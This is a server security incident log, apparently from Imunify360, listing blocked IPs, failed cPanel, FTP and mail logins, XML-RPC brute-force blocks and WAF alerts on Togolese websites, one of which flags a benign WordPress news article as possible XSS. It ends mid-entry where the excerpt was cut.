# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 18:56:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>les relations bilat\xc3\xa9rales entre le togo et la mauritanie s'intensifient. hier jeudi 11 juin, le pr\xc3\xa9sident du conseil, faure essozimna gnassingb\xc3\xa9, a accord\xc3\xa9 une audience au ministre mauritanien des affaires \xc3\xa9trang\xc3\xa8res, de la coop\xc3\xa9ration africaine et des mauritaniens de l\xe2\x80\x99ext\xc3\xa9rieur, mohamed salem ould merzoug. au c\xc5\x93ur des \xc3\xa9changes : le renforcement du partenariat entre lom\xc3\xa9 et nouakchott ainsi que la concertation sur les grands d\xc3\xa9fis du continent.</em></strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le chef de la diplomatie mauritanienne \xc3\xa9tait, en effet \xc3\xa0 lom\xc3\xa9, en qualit\xc3\xa9 d'\xc3\xa9missaire sp\xc3\xa9cial, porteur d\xe2\x80\x99un message personnel du pr\xc3\xa9sident de la r\xc3\xa9publique islamique de mauritanie, mohamed ould cheikh el ghazouani, \xc3\xa0 l'endroit du leader togolais.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab les deux dirigeants se concertent r\xc3\xa9guli\xc3\xa8rement sur les grandes questions d\xe2\x80\x99int\xc3\xa9r\xc3\xaat commun, tant au niveau bilat\xc3\xa9ral qu\xe2\x80\x99aux \xc3\xa9chelles r\xc3\xa9gionale et internationale \xc2\xbb, </em>a soulign\xc3\xa9 mohamed salem ould merzoug, \xc3\xa0 l'issue de sa rencontre avec faure gnassingb\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"646px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:646px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cette audience s'inscrit dans une tradition bien ancr\xc3\xa9e de dialogue politique de haut niveau entre les deux nations, visant \xc3\xa0 consolider une coop\xc3\xa9ration mutuellement b\xc3\xa9n\xc3\xa9fique pour les peuples togolais et mauritaniens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 des civilit\xc3\xa9s diplomatiques, cette s\xc3\xa9ance de travail a permis de faire le point sur l\xe2\x80\x99\xc3\xa9tat actuel du partenariat bilat\xc3\xa9ral. dans ce sens, les discussions ont ouvert la voie \xc3\xa0 de nouvelles perspectives \xc3\xa9conomiques et strat\xc3\xa9giques, touchant plusieurs secteurs cl\xc3\xa9s du d\xc3\xa9veloppement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>lom\xc3\xa9 et nouakchott entendent capitaliser sur leurs atouts respectifs, notamment dans les domaines des \xc3\xa9changes commerciaux, de la s\xc3\xa9curit\xc3\xa9 r\xc3\xa9gionale et du partage d'expertises, pour insuffler un \xc3\xa9lan nouveau \xc3\xa0 leur coop\xc3\xa9ration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au plan multilat\xc3\xa9ral, larencontre de lom\xc3\xa9 a \xc3\xa9galement servi de cadre \xc3\xa0 une analyse approfondie de la g\xc3\xa9opolitique r\xc3\xa9gionale et mondiale. face aux crises multiformes qui secouent le continent, le togo et la mauritanie affichent un front uni.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>les deux d\xc3\xa9l\xc3\xa9gations ont examin\xc3\xa9 les dossiers br\xc3\xbblants inscrits \xc3\xa0 l\xe2\x80\x99agenda de plusieurs grandes organisations internationales, notamment pour une int\xc3\xa9gration continentale acc\xc3\xa9l\xc3\xa9r\xc3\xa9e et une gestion concert\xc3\xa9e des crises s\xc3\xa9curitaires, mais aussi pour le renforcement de la solidarit\xc3\xa9 intercontinentale, et pour porter la voix de l'afrique sur l'\xc3\xa9chiquier mondial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que les discussions ont mis \xc3\xa9galement en relief une parfaite convergence de vues car, lom\xc3\xa9 et nouakchott ont r\xc3\xa9affirm\xc3\xa9 leur attachement ind\xc3\xa9fectible aux valeurs de paix, de solidarit\xc3\xa9 et de diplomatie pr\xc3\xa9ventive comme leviers indispensables \xc3\xa0 la stabilit\xc3\xa9 durable de la r\xc3\xa9gion ouest-africaine et du sahel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.239.236.1
country_id: 1733045
description:
[2026-06-12 18:55:21 +0000] info [cpaneld] 173.239.236.1 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 170.168.172.233
country_id: 3017382
domain: dany2.mairie.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ae97dE97.dany2.mairie.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 18:59:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>les relations bilat\xc3\xa9rales entre le togo et la mauritanie s'intensifient. hier jeudi 11 juin, le pr\xc3\xa9sident du conseil, faure essozimna gnassingb\xc3\xa9, a accord\xc3\xa9 une audience au ministre mauritanien des affaires \xc3\xa9trang\xc3\xa8res, de la coop\xc3\xa9ration africaine et des mauritaniens de l\xe2\x80\x99ext\xc3\xa9rieur, mohamed salem ould merzoug. au c\xc5\x93ur des \xc3\xa9changes : le renforcement du partenariat entre lom\xc3\xa9 et nouakchott ainsi que la concertation sur les grands d\xc3\xa9fis du continent.</em></strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le chef de la diplomatie mauritanienne \xc3\xa9tait, en effet \xc3\xa0 lom\xc3\xa9, en qualit\xc3\xa9 d'\xc3\xa9missaire sp\xc3\xa9cial, porteur d\xe2\x80\x99un message personnel du pr\xc3\xa9sident de la r\xc3\xa9publique islamique de mauritanie, mohamed ould cheikh el ghazouani, \xc3\xa0 l'endroit du leader togolais.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab les deux dirigeants se concertent r\xc3\xa9guli\xc3\xa8rement sur les grandes questions d\xe2\x80\x99int\xc3\xa9r\xc3\xaat commun, tant au niveau bilat\xc3\xa9ral qu\xe2\x80\x99aux \xc3\xa9chelles r\xc3\xa9gionale et internationale \xc2\xbb, </em>a soulign\xc3\xa9 mohamed salem ould merzoug, \xc3\xa0 l'issue de sa rencontre avec faure gnassingb\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"646px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:646px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cette audience s'inscrit dans une tradition bien ancr\xc3\xa9e de dialogue politique de haut niveau entre les deux nations, visant \xc3\xa0 consolider une coop\xc3\xa9ration mutuellement b\xc3\xa9n\xc3\xa9fique pour les peuples togolais et mauritaniens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 des civilit\xc3\xa9s diplomatiques, cette s\xc3\xa9ance de travail a permis de faire le point sur l\xe2\x80\x99\xc3\xa9tat actuel du partenariat bilat\xc3\xa9ral. dans ce sens, les discussions ont ouvert la voie \xc3\xa0 de nouvelles perspectives \xc3\xa9conomiques et strat\xc3\xa9giques, touchant plusieurs secteurs cl\xc3\xa9s du d\xc3\xa9veloppement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>lom\xc3\xa9 et nouakchott entendent capitaliser sur leurs atouts respectifs, notamment dans les domaines des \xc3\xa9changes commerciaux, de la s\xc3\xa9curit\xc3\xa9 r\xc3\xa9gionale et du partage d'expertises, pour insuffler un \xc3\xa9lan nouveau \xc3\xa0 leur coop\xc3\xa9ration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au plan multilat\xc3\xa9ral, larencontre de lom\xc3\xa9 a \xc3\xa9galement servi de cadre \xc3\xa0 une analyse approfondie de la g\xc3\xa9opolitique r\xc3\xa9gionale et mondiale. face aux crises multiformes qui secouent le continent, le togo et la mauritanie affichent un front uni.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31157,\"width\":\"604px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/18d98b1d-0295-41c7-afab-fc9c13606bd0-724x1024.jpg\" alt=\"\" class=\"wp-image-31157\" style=\"width:604px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>les deux d\xc3\xa9l\xc3\xa9gations ont examin\xc3\xa9 les dossiers br\xc3\xbblants inscrits \xc3\xa0 l\xe2\x80\x99agenda de plusieurs grandes organisations internationales, notamment pour une int\xc3\xa9gration continentale acc\xc3\xa9l\xc3\xa9r\xc3\xa9e et une gestion concert\xc3\xa9e des crises s\xc3\xa9curitaires, mais aussi pour le renforcement de la solidarit\xc3\xa9 intercontinentale, et pour porter la voix de l'afrique sur l'\xc3\xa9chiquier mondial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que les discussions ont mis \xc3\xa9galement en relief une parfaite convergence de vues car, lom\xc3\xa9 et nouakchott ont r\xc3\xa9affirm\xc3\xa9 leur attachement ind\xc3\xa9fectible aux valeurs de paix, de solidarit\xc3\xa9 et de diplomatie pr\xc3\xa9ventive comme leviers indispensables \xc3\xa0 la stabilit\xc3\xa9 durable de la r\xc3\xa9gion ouest-africaine et du sahel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la r\xc3\xa9daction</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 12 19:01:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 189.150.86.146
country_id: 3996063
description:
189.150.86.146 - - [12/Jun/2026:19:02:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7106755&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcristiano-junior%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781290924 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cristiano-junior/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.8422.1181 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:189.150.86.146


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:04:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:05:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 12 19:05:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.56
country_id: 6252001
description:
205.169.39.56 - - [12/Jun/2026:19:06:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672898&pdata=http%253A%252F%252Fxl6zcp.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781291198 HTTP/1.1" 302 0 xl6zcp.mediatopnews.tg "http://xl6zcp.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.56


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:19:06:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116643&pdata=http%253A%252F%252Fxl6zcp.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781291214 HTTP/1.1" 302 0 xl6zcp.mediatopnews.tg "http://xl6zcp.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.64.91.151
country_id: 2635167
description:
2026-06-12 19:06:22 dovecot_login authenticator failed for H=(greekgears.com) [38.64.91.151]:42520: 535 Incorrect authentication data (set_id=root)


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 178.20.28.173
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi0883.belali.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 19:07:54 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 178.20.28.173
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Turbolte.belali.tg||Method:blogger.getUsersBlogs


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 218.17.31.210
country_id: 1814991
description:
2026-06-12 19:08:21 H=([218.17.31.210]) [218.17.31.210]:49501 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.13.110.16
country_id: 3865483
description:
Jun 12 19:08:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.13.110.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.234.152.83
country_id: 3996063
domain: www.vitrinenews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vitrinenews.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.58.76.100
country_id: 6254930
domain: www.vitrinenews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.vitrinenews.tghttp/www.vitrinenews.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:18:13 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:18:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 12 19:18:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.192.20.41
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-20.185.192.20.41||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:20:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 148.222.185.182
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-20.148.222.185.182||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 12 19:23:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.213.195.198
country_id: 1269750
description:
Jun 12 19:23:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.213.195.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.92.213.157
country_id: 614540
description:
Jun 12 19:23:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.92.213.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.213.195.198
country_id: 1269750
description:
Jun 12 19:23:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.213.195.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.179
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-24.62.197.45.179||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:25:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.22
country_id: 6252001
description:
Jun 12 19:25:24 ns5 pure-ftpd[1823795]: (?@147.185.132.22) [INFO] New connection from 147.185.132.22


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:25:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.136
country_id: 798544
description:
Jun 12 19:26:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.136 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.75.228.177
country_id: 2802361
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:103.75.228.177||TA:103.75.228.177||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:28:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.30
country_id: 3175395
description:
Jun 12 19:32:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 19:33:34 +0000] info [cpaneld] 103.210.132.14 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:33:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 19:33:35 +0000] info [cpaneld] 103.210.132.14 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.239.236.1
country_id: 1733045
description:
[2026-06-12 19:35:20 +0000] info [cpaneld] 173.239.236.1 - 1yTd3Xo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:35:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 12 19:36:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 19:35:24 ns5 pure-ftpd[1830252]: (?@137.184.97.15) [WARNING] Authentication failed for user [client]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 19:36:45 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 19:36:45 +0000] info [cpaneld] 103.210.132.14 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.97.94.183
country_id: 272103
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/media-press-requests/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 19:39:04 ns5 pure-ftpd[1832049]: (?@137.184.97.15) [WARNING] Authentication failed for user [enadamso]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 19:39:27 ns5 pure-ftpd[1832351]: (?@137.184.97.15) [WARNING] Authentication failed for user [coolpluto1114@gmail.com]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 19:39:56 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50830: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-12 19:41:28 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:45128: 535 Incorrect authentication data (set_id=piter)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-12 19:42:32 +0000] info [cpaneld] 165.22.212.32 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.159.243.26
country_id: 192950
description:
2026-06-12 19:43:33 dovecot_plain authenticator failed for H=(dgdn-togo.tg) [154.159.243.26]:43707: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.75.111.16
country_id: 3469034
description:
2026-06-12 19:43:40 dovecot_plain authenticator failed for H=(dgdn-togo.tg) [177.75.111.16]:44882: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.139
country_id: 3175395
description:
Jun 12 19:44:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:44:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.66
country_id: 2750405
description:
Jun 12 19:44:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
